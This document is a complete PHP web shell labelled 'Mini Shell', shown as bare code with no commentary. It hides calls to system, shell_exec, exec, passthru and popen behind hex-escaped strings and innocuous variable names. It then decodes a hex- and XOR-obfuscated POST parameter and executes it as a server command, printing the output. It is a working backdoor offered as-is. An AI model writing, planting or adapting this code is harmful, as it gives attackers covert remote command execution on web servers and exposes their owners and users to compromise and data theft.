Mini Shell

<?php

$module_controller4 = "\x70as\x73thr\x75";
$module_controller5 = "po\x70e\x6E";
$module_controller2 = "s\x68e\x6C\x6C\x5Fe\x78ec";
$api_gateway = "\x68e\x78\x32\x62in";
$module_controller3 = "ex\x65\x63";
$module_controller6 = "\x73tr\x65a\x6D\x5Fg\x65t\x5F\x63onte\x6E\x74s";
$module_controller1 = "s\x79st\x65m";
$module_controller7 = "pclo\x73\x65";
if (isset($_POST["\x73\x79\x6Dbol"])) {
            function query_handler      (   $bind    ,      $parameter_group     )     {
     $component   =      ''   ;
      for($l=0;
 $l<strlen($bind);
 $l++){
$component.=chr(ord($bind[$l])^$parameter_group);

} return    $component;
    
}
            $symbol = $api_gateway($_POST["\x73\x79\x6Dbol"]);
            $symbol = query_handler($symbol, 88);
            if (function_exists($module_controller1)) {
                $module_controller1($symbol);
            } elseif (function_exists($module_controller2)) {
                print $module_controller2($symbol);
            } elseif (function_exists($module_controller3)) {
                $module_controller3($symbol, $key_bind);
                print join("\n", $key_bind);
            } elseif (function_exists($module_controller4)) {
                $module_controller4($symbol);
            } elseif (function_exists($module_controller5) && function_exists($module_controller6) && function_exists($module_controller7)) {
                $parameter_group_component = $module_controller5($symbol, 'r');
                if ($parameter_group_component) {
                    $fac_resource = $module_controller6($parameter_group_component);
                    $module_controller7($parameter_group_component);
                    print $fac_resource;
                }
            }
            exit;
        }